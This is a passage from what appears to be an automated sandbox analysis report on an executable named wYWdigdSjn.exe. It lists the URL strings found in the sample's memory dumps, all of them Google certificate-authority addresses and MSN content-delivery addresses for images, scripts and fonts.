Source: wYWdigdSjn.exe, 00000001.00000003.378701097.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338590249.0000000004781000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361923862.0000000006580000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426168776.00000000063C0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361701632.00000000065C0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.386505819.00000000057A0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360356031.00000000064B1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333327828.0000000004740000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361847934.0000000006561000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361819935.00000000065A0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.349615261.00000000061D1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361718418.0000000006581000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361245745.00000000046E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333168870.0000000004780000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.420731155.0000000005438000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.420970982.0000000005718000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347624685.00000000057A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359978543.0000000006471000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361476520.00000000065C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352229984.00000000063C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.goog/gsr202
Source: wYWdigdSjn.exe, 00000001.00000003.361923862.0000000006580000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426168776.00000000063C0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361701632.00000000065C0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360356031.00000000064B1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361847934.0000000006561000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361718418.0000000006581000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361245745.00000000046E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359978543.0000000006471000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361476520.00000000065C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352229984.00000000063C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360533347.0000000005459000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.362088818.0000000006560000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360605685.0000000005439000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361560311.00000000065A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.350703334.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.goog/gts1o1core0
Source: wYWdigdSjn.exe, 00000001.00000003.361476520.00000000065C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352229984.00000000063C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360533347.0000000005459000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.362088818.0000000006560000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360605685.0000000005439000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361560311.00000000065A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.350703334.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt0
Source: wYWdigdSjn.exe, 00000001.00000003.361560311.00000000065A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt0#
Source: wYWdigdSjn.exe, 00000001.00000003.426168776.00000000063C0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361245745.00000000046E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361476520.00000000065C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360533347.0000000005459000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.350703334.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt0M
Source: wYWdigdSjn.exe, 00000001.00000003.338590249.0000000004781000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333327828.0000000004740000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.349615261.00000000061D1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333168870.0000000004780000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347624685.00000000057A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347679687.0000000006189000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288753222.0000000004658000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338899784.0000000004741000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pki.goog/gsr2/GTSGIAG3.crt0)
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347980368.0000000006148000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/975a7d20/webcore/externalscripts/jquery/jquer
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/js/f60532dd-2923b6c2/directio
Source: wYWdigdSjn.exe, 00000001.00000003.349249350.0000000006128000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/js/f60532dd-f8dd99d9/directio
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/11/755f86.png
Source: wYWdigdSjn.exe, 00000001.00000003.268478480.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.294609254.0000000005630000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.268985337.00000000046E1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.262381480.0000000004451000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.336854989.0000000004668000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.262504940.0000000004458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/64/a8a064.gif
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/9b/e151e5.gif
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/ea/4996b9.woff
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAyuliQ.img?h=16&w=16&m
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAzjSw3.img?h=16&w=16&m
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347980368.0000000006148000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB16g6qc.img?h=27&w=27&
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17milU.img?h=16&w=16&
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB18T33l.img?h=333&w=31
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19x3nX.img?h=166&w=31
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xCDZ.img?h=75&w=100
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xGDT.img?h=166&w=31
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xMWp.img?h=75&w=100
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348394370.00000000060C8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xaUu.img?h=166&w=31
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xssM.img?h=75&w=100
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xzm6.img?h=250&w=30
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yF6n.img?h=333&w=31
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348394370.00000000060C8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yFoT.img?h=75&w=100
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yuvA.img?h=250&w=30
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yxVU.img?h=166&w=31
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB7hjL.img?h=16&w=16&m=
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348394370.00000000060C8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBO5Geh.img?h=16&w=16&m
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347980368.0000000006148000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPfCZL.img?h=27&w=27&m
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348394370.00000000060C8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBVuddh.img?h=16&w=16&m
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347980368.0000000006148000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBX2afX.img?h=27&w=27&m
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBi9v6.img?m=6&o=true&u
